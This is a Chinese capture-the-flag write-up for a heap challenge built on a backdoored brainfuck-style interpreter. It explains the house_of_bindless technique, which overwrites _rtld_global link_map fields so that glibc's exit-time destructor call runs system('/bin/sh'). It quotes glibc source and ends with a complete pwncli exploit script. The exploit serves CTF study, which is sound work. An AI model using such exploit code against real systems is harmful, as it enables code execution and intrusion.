知识点

  1. house_of_bindless
  2. rtld_global
  3. fini_array

分析

  • 程序存在后门
  • 可以通过申请大堆块,使其分配的堆块距离libc偏移固定,然后根据偏移写数据
int __cdecl executeBrainfuck(char *code)
{
  _BYTE c[5]; // [rsp+13h] [rbp-Dh]

  __asm { endbr64 }
  c[4] = 0;
  *c = *code;
  while ( *&c[1] <= 0xFF )
  {
    if ( c[0] == 0x71 )
      return 0;
    if ( c[0] <= 0x71 )
    {
      if ( c[0] == 0x40 )
      {
        data += *&code[*&c[1] + 1];
        *&c[1] += 5;
      }
      else if ( c[0] <= 0x40 )
      {
        if ( c[0] == 0x3E )
        {
          ++data;
          ++*&c[1];
        }
        else if ( c[0] <= 0x3E )
        {
          if ( c[0] == 0x2B )
          {
            data += 8;
            ++*&c[1];
          }
          else if ( c[0] == 0x2E )
          {
            *data = code[*&c[1] + 1];
            *&c[1] += 2;
          }
        }
      }
    }
    c[0] = code[*&c[1]];
  }
  return 0;
}
  • 满足house_of_bindless条件
/* Is there a destructor function?  */
if (l->l_info[DT_FINI_ARRAY] != NULL
    || l->l_info[DT_FINI] != NULL)
  {
    /* When debugging print a message first.  */
    if (__builtin_expect (GLRO(dl_debug_mask)
                          & DL_DEBUG_IMPCALLS, 0))
      _dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
                        DSO_FILENAME (l->l_name),
                        ns);
    /* First see whether an array is given.  */
    if (l->l_info[DT_FINI_ARRAY] != NULL)
      {
        ElfW(Addr) *array =
          (ElfW(Addr) *) (l->l_addr
                          + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
        unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
                          / sizeof (ElfW(Addr)));
        while (i-- > 0)
          ((fini_t) array[i]) ();
      }
    /* Next try the old-style destructor.  */
    if (l->l_info[DT_FINI] != NULL)
      DL_CALL_DT_FINI
        (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
  }
  • 修改rtld_global._dl_load_lock最后可以控制调用函数时的rdi;修改rtld_global._ns_loaded这个link_map的ld_addr为某偏移值;修改rtld_global._ns_loaded.l_info[DT_FINI]最低的一个字节;最后使得rtld_global._ns_loaded.l_info[DT_FINI_ARRAY]为NULL使得最后条件满足
  • 总结流程:1.执行DL_CALL_DT_FINI(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);2.l->l_addrl->l_info[DT_FINI]均已被修改,调用如下图3.程序将取出_init_array中的地址加上l->l_addr并直接调用

细节

  • 不同机器rtld_global距离libc的偏移并不一定相同,需要据实际情况分析
  • 分析过house_of_banana应该会更好理解
  • 本题也可以采用爆破exit_hook的方式

exp

#!/usr/bin/python3
from pwncli import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
#cli_script()

#io=gift['io']=remote('1.13.101.243',27020)
io=gift['io']=process('./main')
libc=gift['libc'] = ELF('./libc-2.27.so')

sla(b"Pls input the data size\n",str(0x100000))

sla(b"Pls input the code size\n",str(0x100))

def write(addr,content):
    content = list(content)
    payload = b"@" + p32(addr)
    for i in range(len(content)):
        payload += b'.' + p8(content[i])
        payload += b'>'
    return payload

#_dl_load_lock
payload = write(0x339958,b"/bin/sh;") #劫持参数
payload += write(0x33a180-0x339958-0x8,p64(0x9)) 
payload += write(0x33a228-0x33a180-0x8,p8(0x88-0x8)) #劫持DT_FINI
payload += write(0x33a290-0x33a228 - 0x1,p64(0)) #使得DT_FINI_ARRAY为NULL
payload += b'q'

sla(b"Pls input your code\n",payload)

ia()



追求现实的理想主义者。